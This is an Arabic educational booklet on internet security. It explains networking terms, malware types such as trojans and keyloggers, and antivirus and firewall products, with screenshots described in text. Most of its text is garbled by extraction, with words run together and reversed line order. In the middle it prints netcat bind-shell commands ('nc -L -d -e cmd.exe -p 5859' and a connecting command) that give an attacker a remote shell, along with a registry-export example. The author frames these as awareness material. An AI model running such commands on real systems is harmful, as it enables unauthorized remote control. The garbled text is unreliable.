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الأنترنتالدروع الأمنیة في
- :المقدمة

اجعلأناشأفلمالبحثھذاعلىینطبقالمثلھذانعم.. ودلقلماالكلامخیر
لاالتيالكتبحشومتاھةفيالقارئةأوالقارئ

النحوعلىالبحثقسمتلقد.فائدةبدونأحیاناوالخروجالصداعسوىمنھاطائل
:التالي

المتعلقةأوبالإنترنتالمتعلقةسواءالمصطلحاتعنتكلمتمنھالأولىالجزئیةفي
عنفیھتكلمتفقدیلیھالذيالجزءأما،بالحمایة

الناقصةالمفاھیممنبعضأزیلوحتىتفصیلدونإلیھوالإشارةالاختراقماھیة
،انتقلتالإنترنتمستخدمذھنفيالواضحةغیرأو

الحمایةفيالمستخدمةوالبرامجالإنترنتمستخدمحمایةعنللحدیثذلكبعد
ذلكبعد،الناریةالجدرانأوالفیروساتكمضادات

لات؟واكالمنتدیاتبالإنترنتالمتعلقةالبرامجحمایةعنللحدیثانتقلت
والحمایةالھجوموطرقعلیھاأمثلةمتناولاوالسكربتات

:الأساسیةالمصطلحات

:الإنترنت

الأجھزةوھذه،البعضببعضھامتصلةالحاسوبیةالأجھزةمنجموعةمعنعبارة
أنإلاالبشربنيیامثلنامعینھلغةباستخدامتتخاطب

برتوكولاتتسمىاللغةھذه

:البروتوكولات
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تجعلالتيالبرتوكولاتاشھرومن،اللغةمثلالبرتوكولاتسابقاذكرتكما
أي/ بيسيتيبروتوكولھوببعضھامتصلةالأجھزة

أنأي. بالإنترنتالخاصةوالمعلوماتالبیاناتنقلفيالتحكمبروتوكولأي
أوبيTCP/IPالاتفاقاتأوالقواعدھيالبروتوكولات

.البعضببعضھاالمتصلةالشبكاتجمیعتستخدمھاالتي

منالعدیدتوجدFTPیوجدطبعاجھازینبینالبیاناتبنقلالمعنيالبرتوكولوھو
الملفاتنقلبرتوكولاشھرھاومنالبروتوكولات

جھازإلىجھازكمنملفنقلتریدفعندما.. البرتوكولنفسفيدقیقةتفاصیل
ھذاتستخدمفأنتالإنترنتشبكةعلىأخر

قلیلبعدلكنالمفھومھذالكیوضحمثالاسأورد..البروتوكول

المضیفأوالھوستأوالخادمأوفرالسیر

تتوفركمبیوترجھازوھوواحدلشيأسماءكلھاFTPأحیانالاحظالبریدخدمةأو
الملفاتنقلخدمةمثلالخدماتمنمجموعةعلیھ

بطلبھاالزائرأو–المستخدم–العمیلیقومكخدماتھناذكرتالبروتوكولاتأن

Portالبورتأوالمنفذ

علىتكونالبیاناتنقلخدمةفمثلامنفذلھایكونأنلابدخدمةكلالمفاھیمبابسط
علىعادةتكونالتصفحوخدمة٢١المنفذ

٨٠٨٠أو٨٠المنفذ

IP addressأوالعنوان

عالم،ففيللھویةالشخصيالمعرفمثلعنوانلھبالإنترنتمتصلجھازكل
ھذایكونوقدالعنوانھذایتكررأنیستحیلالإنترنت
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تتصلكونكحالةفيمرهكلفيمتغیرالعنوانDial-upالعنوانھذایكونوقد
نوعمناتصالوتستخدمخدمةمزودطریقعن

داخلعلیكومعرفدلیلبمثابةیكونوالعنوان. المؤجرالخطحالةفيأو
نوعمنالاتصالحالةفيثابتDSLوتكونالإنترنت

:كالتاليالعنوانأوالایبيصیغة

.

١٨/٤

الصورةاقربوحتىالحروفباقيفيوكذلكأرقامنضعالاكساتمكانفمثلا
xxx.yyy.zzz.eee: یكونفالایبيلذھنك

موجھفيالتاليالأمراكتبالایبيرقمأوعنوانكولمعرفة٢١٢.١٨٤.١٦٦.٥٥
لاحقا–الأوامرموجھستعرف–الأوامر

 )ipconfigالأمرثم-command or cmd-ابدأتراخ( السابقالأمرولكتابة
ipconfig.تشغیل–

Web Serverالوبملقم

أوصفحاتالطلباتھذهتكونقدالمستخدمینمنطلباتیتلقىبرنامجعنعبارة
واشھرھاالملقماتأنواعومنالخ.. أوصور

java serverجافاوسیرفرIISالشھیرسوفتمایكرووسیرفرApacheسیرفر
الاباتشي

:التشغیلنظام

بجمیعویندوزنظاممثلللشرحمثلھألاالمفاھیموابسطمتكاملكیانعنعبارة
ونظامتوزیعاتھبجمیعلینوكسونظامالنسخ

.ماكنتوش
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:البراوزرأوالمتصفحأوالمستعرض

القدرةالمستعرضھذالدىیكونوقدالوبصفحاتلمشاھدةتستخدمھبرنامجھو
ھذایعرفبحیثالملفاتتتریلأوتحمیلعلى

كیفیةالتطبیقFTP. سكیبوالنتاكسبلوررالإنترنتالمستعرضاتأمثلةومن
مثلالمختلفةالإنترنتبروتوكولاتمعالتعامل

 )cookies (الكوكیز

أوالمستخدمعلىالتسھیلبغرضالمستخدمجھازفيماموقعیضعھاملفات
.وضعھامنالأھدافبحسبتختلفلأغراض

أرقامأومروروكلماتأسماءمثلحساسةمعلوماتعلىھذهالملفاتتحتويقد
.الخ..ائتمانیةبطاقات

 )Script (السكربت

PERLأوASPأوphpنحوموجھھتكونقدبرمجیھبلغةمكتوببرمجينص
أوسكربتجافالغةمثلالإنترنتأوالوب

علىللعملوموجھبرمجتھتمبرمجينصیكونقدأو. إنترنتلملقمبذلكویحتاج
.الدفعیةالملفاتمثلالمحليالجھاز

Proxyأوالملقمالوكیلأوالمفوضأوالبروكسي

مفھومحولالإنترنتمستخدميمنالكثیرعندناقصأومغلوطتصورھناك
منتستطیعالذيھوالبروكسيأنمنھمظناالبروكسي

طریقعنا؟مسموحالغیرواقعالمإلىبالوصوللكیسمحأوالمواقعدخولخلالھ
لكالاتصالتقدمالتيالشركةأوالخدمةمزود

خاصأخربمعنىبالویبخاصھناالبروكسيأنحیثناقص،الكلام،ھذا
مخصصھالبروكسیاتمنالعدیدھناك. فقطبالصفحات
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لبرامجخاصبروكسيتجدقدالصفحاتجلبخدماتغیرأخرىلخدمات
الخدمةھوالبروكسیاتمنالغرض. الخ.. المحادثات

فلوللبیاناتمخزندورتلعبا؟إبمعنىاستخدامھاإساءةولیسللمستخدمالسریعة
لعملائھاالإنترنتخدمةتقدمشركةلدیناكان

احدطلبفلوالخ..الملفاتلتتریلوبروكسيللتصفحبروكسيلھمتأمنبالكادا؟فإ
لبروكسيافسیحتفظالیاھوموقععملائھا

متوفرفسیكونالموقعھذاالشركةلنفسأخرعمیلطلبولوذاكرتھفيبالموقع
منالطلبیكونبذلكالبروكسيذاكرةفي

.أسرعالبروكسي

ا

١٨/٥

كمامثالاسأوردبالإنترنتوالخاصةالمھمةللمصطلحاتالبسیطالتقدیمھذابعد
أناعرفلأنيالمصطلحاتھذهیجمعسابقاوعدتك

موقعإلىملفاتتحمیلأریدإنيلنفرضالمفاھیمتداخلأوالغموضسیزیلالمثال
،فھلانترنتموقعمنملفاتتتریلأریدأوانترنت

یعنيFTP؟مثلالشيذا؟تقومبرامجھناكلان. لاسؤالكعلىالإجابةبالطبع
بالخاصةالبرتوكولتفاصیلكلسأحتاجأنى

الموقعاسمستختارذلكوبعدجھازكعلى–تركیبھ-بتنصیبھتقومالبرنامجھذا
برنامجWS_FTPأوإلیھالملفاتتحمیلالمراد

ھذهلأنمروركلمةومستخدماسمإلىتحتاجالأحیانبعض،فيمنتحمیلھا
ھنا. الأحیانمنكثیرفيمجانیةتكونلاقدالخدمة

ستكونالإجابةبالطبع.؟أخرىدمةخأوأخربرتوكولاستخدمأنأردتلوماذا
برتوكولأوخدمةعنتكلمتFTPبحاجةانك
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تكونقدبرامجھناك؟البرنامجذا؟ليأینمنولكن. الخدمةذه؟خاصلبرنامج
نفسأردتفلووندوزالتشغیلنظاممعمضمنھ

انكبمعنىالرسومیةالواجھةیدعملاالبرنامجھذاولكنالوندوزمعیأتيالذي
برنامجتستخدمقدالسابقةالخدمةFTPفيستعمل

البرنامجاسم. ( -الأوامرسطرعنلاحقاالحدیثیأتيقد- الشلأوالأوامرسطر
)-للتنویھ–البرتوكولاسمنفسھنا

خاصةبرامجإلىھذهتحتاجالإلكترونيالبریدخدمة: مثلاالأخرىالخدماتومن
ومنغیرھاأووفتمایكروسشركةمنسواء

أخرىشركةمنأخربرنامجوھناكEudoraوھوالغرضبنفستفيكلھا
Outlook Expressمایكروسوفتمنتأتيالتيالبرامج

.وإرسالھالبریداستقبال

الإجابةستكونطبعاالمواقعبتصفحالخاصةالوببخدمةالاستمتاعأردتلوماذا
شركةمنیرالشھالمستعرضالبرنامجباستخدام

اختصاراأوIEباستخدامالیاھوموقعتصفحكیفیةعنمثالالكأورددعني
Explorerاكسبلوررالإنترنتوھومایكروسوفت

.المستعرض

الاكسبلوررأوالتصفحبرنامجداخلبرتوكولأيلااستخدامالأساسیةالقاعدة

Protocol : Hostname : Port

ھناوھوالبرتوكولماس

HTTP

FTPیكونانالممكنمن
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HTTPسواءالبرتوكول

اوFTP.. الخ

والبرتوكولالموقعاسمبینللفصلنقطتان

المستضیفاوالموقعاسم

//بمسبوقایكونقد

موقعانھعلىدلالة

خارجي

لأناختیاريوھوالمنفذھذا

علىیتعرفالمتصفح

يتلقائوالمنفذالبروتوكول

انھالىاشارة

www.yahoo.comالجھازخارج

الموقعاسمالىاشارةكلھا

اختیاريوھوالمنفذرقم

.

١٨/٦

:السابقالتوضیحيالرسمحولأشیاءتعرفأنیجب

FTPأوHTTPیكونأنالممكنمنشرحھوسبق: البروتوكول

الموقعاسمونیكقدالمضیفاسموھو: نیمالھوستcomأوnetأوorg.. الخ
اللاحقةیحمل
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عنھالتغاضيالممكنمنبمعنىاختیاريوھو: البورتأوالمنفذ

التعرفمیزةعلىیحتويالاكسبلوررأوالمستعرضأنإلىالإشارةتجدر
لتحمیلبرنامجانھعلىیتعاملأنالممكنومنالبروتوكول

البروتوكولمعللتعاملالمتخصصةالبرامجتلكبكفاءةلیسلكنالملفاتوتتریل
- سأتحدثالمصطلحاتمنتبقىفیما. الخاص

:السیرفرأوالملقمجھةوالحمایةبالأمنالمتعلقةالمصطلحاتعن- هللانشاء

.

١٨/٧

المستخدمبیاناتوحمایةالفیروساتمنالجھازمعنیبحمایةالبابھذا

التجسساوالسرقةمن

.

١٨/٨

لابدالحاسوبلجھازالمستخدمةاختيالمستخدماخي..ارئةالقاختيالقارئاخي
أثناءعلیكمرأونیوتناسحاقعنسمعتانك

تلكسقطتحینمالاشكوسقوطھاالشھیرةبتفاحتھسمعتانكولابد،دراستك
سقطت: ورددواواجتمعواالناسالتفالتفاحة

؟التفاحةسقطتلماذاسألالرجلھذاالاالتفاحةسقطت..التفاحة

سرقتلماذا؟جھازكاخترقلماذاتسألأنلكفھلبالحاسوبیرتبطبالفعلھذا
لا..لا؟العابثینمنخربتاوبیاناتك

تلفتاواختراقكتمكیفتسألھاناریدكوالذيوجھازكالتفاحةبینالربطوجھ
علىیسريھناكلاميربما؟ھؤلاءمنبیاناتك
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بالكلاماستفیضاناریدلا. بالانترنتاتصالاً ایضالایملكيالذالعاديالمستخدم
وتعيالتفكیربكینضجاناریدلكنعلیكعاتبا

العالمھذافيالجارحةوالطیورالمفترسةالذئابتكثروقدصغیرایعدلمالعالمبأن
وتأمل! انتظر؟علیكالھجومبدءاینمنلكن. 

:لوجروالكيالخلفيالباباووالباكدورتشاتوالباوالتروجاناتالفایروسات

وتخریبالخصوصیةانتھاكوھوواحدةاھدافاوھدففيتشتركالاسماءھذه
والتمیزجھازكمنالحساسةالمعلوماتوسرقةالجھاز

تلفیسبببحیثالجھازیؤذيبرنامجفالفایروس.الاھدافناحیةمنیكونبینھا
لن. تشرنوبلفایروسلمثالجھازقطعاوللبیانات

الكتابھذامنفالھدفوغیرھاالفیروساتلاسماءالعلمیةالتعریفاتفيادخل
خلفياوالبابالباتشاوالتروجان. والتسھیلالبساطة

بعدعنبالتحكمالمخرباوللھكریسمحبرنامجعنعبارةطروادةحصانأو
منالتحكمدرجةتتفاوتوقدالمستخدمبجھاز

سفنالسببرنامجفمثلاالبرنامجبحسبالجزئیةالسیطرةالىالكاملةطرةالسی
المسمىھذافيتدخلالبرامجمنوغیرھاوالاوبتیكس

بتسجیلیقومبرنامجفھوبرنامجعنعبارةالمفاتیحضرباتلاقطاولوجرالكي. 
المفاتیحلوحةعلىویكتبھالمستخدمیكتبھماكل

تقومالجھازعلىتركیبھایتمقطعتقومانالممكنمن.مخربالالىبأرسالھویقوم
.الكفاءةبنفسوتعملالعملذا؟

المراقبةوبرامجالرزمتتبعوبرامجالناریةوالجدارانالفیروساتمكافحةبرامج

خاصةبیاناتقواعدالبرامجولھذهالجھازعلىتركیبھایتمبرامجعنعبارةھي
ان؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ ؟Anti-Virusا؟موجود
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علىموجودبرنامجأيمقارنةتتمبحیثفیروسلكلخاصةبصمةاوتواقیع
عملاثناءاوالبرنامجتشغیلطلبحالةفيسواءالجھاز

سلوكفيتطابقعلىالعثورحالةوفي،البیاناتقواعدمعالجھازعلىالمسح
عرامشرسالةسیصدرفانھالبیاناتقواعدمعالبرنامج

منھاكثیرةجوانباغفلت،لقدالتجسسبرنامجاوالفایروسبوجودالمستخدم
ولعلالحمایةبرامجعنالتخفيواسالیبالتشفیر

لبرنامجبرمجيكودعنذكیةقصةلنایرويمثالاسأورد..یذكربالشيءالشيء
منمعینةنوعیةعلىتأثیرهیمتدالبرنامجوھذاتجسس

عنھالخبثصفةنازعاالبرامجداخلالتعلیقاتمكانفيدیةلشیفرةیضیفبحیث
مثلالامتداداتEXEتلكحجمتغییریریدبكونھ

.كشفھمنالفیروساتمكافحةبرامجتتمكنلاحتىالملفات

.

١٨/٩

تتصلالتيالبرامجعلىالتعرفمنھوالھدفللحمایةاخربرنامجعنعبارة
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟FireWallشبكةعلىاوبالانترنت

ومراقبةمعرفةلكیتسنىبحیثالبرامجتلكعلیھاتعملالتيوالمنافذمحلیة
تلعب،وقدالبرامجلتلكالرفضاووالسماحالبرامج

عملیاتمثلعلیكھجومأيصدفيمھمادورا- الناريالجدار-البرامجتلك
معینببرنامجالاتصالمحاولةاوبأنواعھاالمسح

.بالانترنتبالاتصاللھسمحتدق

یتتبعأنالمحترفالمستخدمتساعدوھيالحمایةفيمتقدمةالنوعیةھذهربما
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟Sniffer: مابرنامجا
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حزماوالرزملھاتنتقلالتيالجھاتلمعرفةواسعةبشبكةاوبالانترنتیتصل
عنتختلفھذهوللتنویھوالمكانالحجمحیثمنالبیانات

بیاناتسیرللتبعراوترامراعطاءطریقعنالانترنتفيالبیاناتمرورتعقب
معینبرنامجلبیاناتتتبعھنااعنیھفما.معینموقعالى

ذھابللتبع. المسنجربرنامجوالتوضیحالمثالسبیلعلىلنقل.بالانترنتیتصل
فلوساسيالاالبرنامجموقعالىجھازكمنالرزم

واللحظةللتوفأعلمالبیاناتلسیرتتبعكاثناءاخربسیرفراتصالھناكانوجدت
المرسلةالبیاناتیمررمشبوهبرنامجتستخدمبأنك

ستجعلالتفاصیللأنالاطالةاریدلا! علیكتتجسسالتيالجھةالىجھازكمن
.بجھازكیدورماكلفيشكاكاانسانامنك

تنفیذبمراقبةبعضھایقومفقدمختلفةانواعومنھاالمونیتررامجالبھذهتسمى
؟؟؟؟؟؟؟؟؟؟؟؟؟: علىتتعرفحیثمعینبرنامج

منتجريالتيالاشیاءDLLوندوزنظامداخلالموجودةاوالتطبیقفيالموجدة
الدوالطلبمثلالبرنامجتنفیذاثناءالكوالیسخلف

بالوندوزالخاصالرجستريعلىالبرامجذتنفیمراقبةفيیستخدمبعضھااما
بالحالةھذهفيوتسمىFile Monitorھذهفيوتسمى

 .Registry Monitorبالحالة

؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
؟؟؟؟؟؟؟؟؟؟؟؟؟

؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟

BOF؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟او

Swiss Ar my Knifeاوالسویسريالجیشسكینة
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..ایضاالمخربینولدىالحمایةاوساطفيالاسمذا؟معروفة

معاداةاعتمدالسویسريالجیشكونالىذلكمنمتأكدولستالتسمیةترجعربما
سكینمثلدةعدیاشیاءتعملبحیثجنوده

.الصلصةلعلبومفتاحومقصوحربةومفتاح

منفذأيعلىتعملالاداةھذه. واللینوكسالوندوزمنصتيعلىیعملالبرنامجھذا
لھاالدارجالاسمncاوNetCatمناعدادهیتم

. وتنفیذھاالبرامجمنمایشاءتشغیلیستطیعبحیثاكثرتحكماوتعطیھالمھاجمقبل
لانيلاحقاھنالھاذكريمنغرضالستعرف

ذه؟للتعریفمدخلھناولكناخرىادواتمجموعةمعلكنعنھامثالاسأورد
.الاداة

.

١٨/١٠

Registry Consol Toolوالاداةالریجستري

عنشيءكلفیھیسجلالوندوزفيمكانعنعبارةالوندوزمسجلاوالریجستري
البرامجعنوبیاناتوبرامجقطعمنجھازك

انتاجمن. الخ..البرامجھذهعلىالمستخدمینویعرفتواجدھاومكان
مایكروسوفت

وقیمملفاتلإدارةیستخدمبرنامجعنعبارةتوولكنسولریجستريالاداة؟؟؟؟ 
الاوامرسطراوالشلطریقعنالرجستري

؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
؟؟؟؟؟؟؟؟؟؟؟؟

اوالشلیسمىبرنامجعلىالنظامھذایحويبذاتھمستقلنظامالدوسفنظام
؟؟؟؟؟؟DOS؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟الكوماند
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فيالشلمصطلحاماالتشغیلونظامالمستخدمبینبیئةعنعبارةالبرنامجوھذا
شلcommand-shellفیرادفلینوكساویونیكس

سطرتشغیلوتستطیعوندوزالتشغیلنظامعلىشلالكوماندوااوامرسطر
التاليالامركتابةطریقعنوندوزبیئةفيھذاالاوامر

-:

ادناهوالصورةالرسومیةالواجھھتغیبالیونكساوواللینوكسالوندوزمنكلفي
نظامتحتشلالكومانداوالاوامرسطراوللشل

الامرنفذتوقدبياكسوندوزالتشغیلNetstat: الأوامرسطرداخلمن

العربیةالواجھةذوالنظام

)win9x-winMEلبالنسبة (commandكتابةثم--- تشغیل--- ابدأ

)win XP – win NTلبالنسبة (Cmdكتابةثم--- تشغیل---ابدأ

الانجلیزیةالواجھةذوالنظام

start ---Run ---command ( For win9x –winME(

Start ---Run--- Cmd ( For win XP – winNT(

.

١٨/١١

الرجیستري+ السویسريالجیشسكینةھناالاداتینلھاتینذكريمنتتعجبقد
اریكاناحببتلانيما؟ذكرلقد! كنسول

حینماكثیراترددتفقد. جھازكاونظامكعلىمعااستخدامھماتملوما؟خطور
انالنفوسضعافمنيلخوفھذااطرحانفكرت

كونولكنالكتابھذااساءةمناخشاهكنتماویقعاستغلالھماانفسھملھمتسول
انقررتفقدالوسطیةاختارالاسلاميالدین
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.ذلكفيالاسھابوعدمالشرحفيالوسطیةالىامیل

-:التاليبالاسلوبنظامكالىالبرنامجیناوالاداتینھاتینوصوللنفرض

الخ.. التعریفعنغنیانممتازاننامجانبر-

سیستملد؟افيضعھماالبرنامجینھذینفالیكالاتصالبطءمنتشكيكنتان-

تتجسساوالمسنجرالمحادثاتبرنامجفياكثرامتیازعلىتحصلانتریدھل-
عنھالكثیروتعرفالقائمةفيمعكمنعلى

امتیازاتعلىتحصلاوتوكالبالمحادثاتالبرنامجفيمتخفیاالدخولتریدھل-
الطردحالةتلغياوالغرفھمدیر

الجامعةاوالمدرسةاوالعملفيوانتالبیتمنجھازكیعملانتریدھل-
الفیزیاءاسئلةمنالخامسالسؤالاجابةلكویرسل

لسطراطبعا( الأثیرعبرالاجاباتویرسلالجامعةفيالریاضیاتمادةامتحاناو
یحدثقدلكن) عنكوالترویحللدعابھالأخیر

.لجھازكبوصولھمافالعبرة. لھاة؟مشابصورةاوالصورةذه؟سبقما

التالیةالاوامرتفعیلیحتويدفعيملفبانشاءاحترافیةبصورهالمخربیتمكنقد
بجھازجھازكمنالاتصالمنیتمكنوقدللبرنامجین

بحذفشراسةاكثرالامریكونوقدجھازكوالىمنالملفاتوتحمیلغیرھااو
TFTPاوFTPخدمةبواسطةسواءالانترنتعلىاخر

وضعاوالرجستريمنوتحدیداجھازمنالبیاناتسرقةاوجھازكمنالملفات
برئعصفورانكتخیلجھازكفيلوجركياوباتش

.التجسسیةالملفاتانواعوھيضاریةنسورقبلمنعاصفةھجماتوسط

ncكاتالنتالبرنامجاوامرالیك
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ینفذالامرھذا( الھدفالجھازعلىمنصتھحالةفيیكونبحیثالبرنامجلإعداد
بواسطةاو) الیھالاستماعالمرادالجھازنفسمن

استخدامالجائزمناو٥٨٥٩المنفذالىبالاستماعالرغبةلنفرض. الدفعيالملف
الخ..٨٠او٨٠٨٠مثلاخرمنفذ

):المھاجمجھازمن( الاوامرسطرمنالتالينتبعالھدفبالجھازللأتصال

الیكانتقلالبعیدالجھازلدىالاوامرسطراوالشلانستجدالسابقالأمرتنفیذبعد
ذلكاستعمللوسیحدثماذاھذابعدتخیل

ساقطعھنا؟؟؟رفعھااوالملفاتوتتریلجھازكمناخربسیرفربالاتصال
!بكیحلمالتتخیلالخیاللكاتركلكنالسیناریو

:كنسولرجستريالبرنامجاوامر

C:\nc –L –d – e cmd.exe– p 5859

C:\nc 10.10.10.34 5859

.

١٨/١٢

والمفاتیحالرجستريبملفاتكاملفھمالىتحتاجولكنالاوامرمنالعدیدھناك
تصدیرحولمثلاربسأضوالقیمالفرعیةوالمفاتیح

یحتويمفتاحقیمةieset.txtالتشغليالملفانافتراضعلىالھدفالجھازعلى
بالأسمخارجيملفالىالاكسبلوراعدادتعلى

للرجستريReg.exe: الھدفالجھازلدىسيالصلبالقرصعلىوموجود
بالإسمكنسول

علىیحتوياكسبلوررانترنتالمفتاحلأنالتنصیصلعلاماتاستخداميلاحظ
ھذایكنلمفلواكسبلورركلمةوانترنتبینفراغ
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لياعادھاالتيوالقیم. التنصیصعلامتيبدونالامراستعمالكانموجداالفارغ
:ھي

الادواتمنالسابقتینالاداتینأنوھومھملشيءالإشارةاود..الكلامھذابعد
استخدمھماعلبالفلانيالشبكةادارةعلىالممتازة

السمعةسیئتيجعلتھمااستخدامھمااساءةولكنوالشبكةالمترلیةالاجھزهادارةفي
قد. الاختراقعملیةفياستخدامھمابسبب

بعینالناسیرىانسانفكل(مضرتانوھمامفیدتانما؟بألھماذكريتستغرب
بحبارتبطالشلاوللكنسولعشقيربما).طبعھ

مثلرسومیةادواتتوافرمنبالرغمالاداتینھاتینRadmin. وغیرھا

طریقعنربماوخصوصیتكعالمكاقتحامفيالمخترقلھیلجأاشیاءكثیرةھناك
فیھالموجودهالثغراتاحدباستغلالالمستعرض

downloaderاوUploaderاوفایروساوباتشدمجالمخترقیستطیعوقد
البرامجمنالنوعیةھذهمثلتسمىتجسسملفاتوانزال

C:\reg export “
HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Main” ieset.txt

Windows Registry Editor Version 5.00

]HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main[

"NoUpdateCheck"=dword:00000001

"NoJITSetup"=dword:00000001

"Disable Script Debugger"="yes"

mailto:mushtaq_talib58@yahoo.com
mailto:mushtaq_talib58@yahoo.com


mushtaq_talib58@yahoo.com

2011

:  جمیع حقوق الطبع و التوزیع محفوظة للمؤلف للأتصال 
mushtaq_talib58@yahoo.com

"Show_ChannelBand"="No"

"Anchor Underline"="yes"

"Cache_Update_Frequency"="Once_Per_Session"

"Display Inline Images"="yes"

"Do404Search"=hex:01,00,00,00

"Local Page"="C:\\WINDOWS\\System32\\blank.htm"

"Save_Session_History_On_Exit"="no"

"Show_FullURL"="no"

"Show_StatusBar"="yes"

"Show_ToolBar"="yes"

"Show_URLinStatusBar"="yes"

"Show_URLToolBar"="yes"

"Start Page"="about:blank"

"Use_DlgBox_Colors"="yes"

"Search
Page"="http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=ie

search"

"FullScreen"="no"
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"
Window_Placement"=hex:2c,00,00,00,02,00,00,00,03,00,00,00,

00,83,ff,ff,00,83،\

ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,00,00,00,00,00,20,03,00,00,3a,0
2,00،\

٠٠

"Use FormSuggest"="no" Windows Registry Editor Version 5.00

.

١٨/١٣

تنوعتفالبرامجلدیكالتصفحبرنامجفيثغرهمستغلاانترنتصفحةداخلالخ... 
ترسلالتيتلكعلىمقتصرالامریعدلمأي

عنایضاالبرامجارسالالممكنمنبلالمحادثاتبرامجخلالمناوبالبرید
.سابقاذكرتكماالصفحاتطریق

طریقعنغیرھااوالباتشاتترسلفقطفھيالبرامجھذهعملكیفیةعناتكلملن
صفحاتطریقعنبالاحرىاوالمستعرض

لدیكالمتصفحاوالمستعرضبتحدیثعلیكالحالةھذهمثلعلىوللتغلب.الانترنت
ا؟االارجحعلىالخاصةالشركةخلالمن

الشيءھذاتتحملفانتالتحدیثاتمتابعةتحبلاكسولكنت،انمایكروسوفت
تقومانحاولھذهالكسلنسبةاقللوحتى

نظامكفيالحرجةالأشیاءحدث.. الباقيواتركلدیكالتصفحبرنامجبتحدیث
العربیةالبلدانفيالمستخدمینباناجزمأكادلاني

بتحدیثیھتموقلةالمحادثاتوبرامجبالتصفحیھتمونwupdmgr.exeاختراو
تشغیلفياليالتالامراكتبذا؟وللقیام. للنظامشامل
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موقعمنلتحدیثھاتحتاجالتيالاشیاءماھيالموقعلكیبنحتىوتابع
زرثمابدأWindows Updateذكربوسعيكان.مایكروسوفت

التعمقدونلھاالاشارةفضلتلكنالھجومواسالیبطرقعنالامثلةمنالعدید
الحمایةلبرامجساتركھاجزئیةبقیت.تفاصیلھافي

علىالحمایةمنالمستخدمیحتاجھوماالبابھذاثمرةھماما؟لاالناريوللجدار
مابرنامجلكللأناخرعلىبرنامجافضلولنجھازه

منالاشھرساتناولطبعا.الناريللجداربالنسبةالامروكذلكغیرهعنیمیزه
طریقةعناتكلمولنالبرامجكلولیسكلاھما

.الانترنتفيمنتشرةتقریباا؟لأاعدادھم

.

١٨/١٤

Norton Anti-Virusفایروسانتيالنورتن: البرنامجاسم

فیروساتمكافحةبرنامج: النوع

http://www.symantec.com :الشركةموقع

تجسسبرنامجعلىحصلعندماالبرنامجاظھرهالذيالتنبیھ

وھوتواجدهومكانواسمھNetBusتمتعاملالذيوالاجراء

الحذفوھوذهاتخا

.

١٨/١٥

سكايكاسبر: البرنامجاسمKasperSkyالكییفالبعضیسمیھكمااو

فایروساتمكافحةبرنامج:النوع

mailto:mushtaq_talib58@yahoo.com
mailto:mushtaq_talib58@yahoo.com
http://www.symantec.com
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http://www.kaspersky.com :الشركة

انتھى. الحمایةبرامجیتصدریجعلھماالمیزاتمنبھالبرنامجھذا: ملاحظة

أوالتجسسملفمكان

الفیروس

فيالعدوانيالملفنوع

باكدورالحالةھذه

حقھفيالمتخذالإجراء

.

١٨/١٦

Fire wallالناريالجدار

Zone Aler mالارمالزون: البرنامجاسم

ناريجداريبرنامج: النوع

http://www.zonelab.com :الشركة

المسنجربرنامجبانیفیدتنبیھ

ورقمبالانترنتبالاتصالیرغب

واصدارةتصالالاوجھةالمنفذ

البرنامج

البرنامجواجھة

یعملبانیرغبالمسنجربرنامجبانتفید

اوملفارسالحالةفيوھذاكسیرفر

mailto:mushtaq_talib58@yahoo.com
mailto:mushtaq_talib58@yahoo.com
http://www.kaspersky.com
http://www.zonelab.com
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تشغیلاثناءفياوالصوتیةبالمحادثھالرغبة

- الكامیرا–الفیدیو

.

١٨/١٧

Armor2Net :البرنامجاسم

ناريجدار: النوع

ركةالش: 

البرنامجواجھةبالاتصالیرغبتوكالبالبرنامجبانیفیدتنبیھ

عدمھاوالسماحفيالخیارولكبالانترنت

.

١٨/١٨

KasperSky AntiHacker :البرنامجاسم

ناريجدار: البرنامجنوع

http://www.kaspersky.com :الشركة

الحالةفيالنشطةالبرامج

الراھنة

اثناءالمسنجربرنامج

بالنتالاتصالطلبھ

خیاراتالىبالاضافة

الناريالجدار

mailto:mushtaq_talib58@yahoo.com
mailto:mushtaq_talib58@yahoo.com
http://www.kaspersky.com
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البرنامجواجھة

mailto:mushtaq_talib58@yahoo.com
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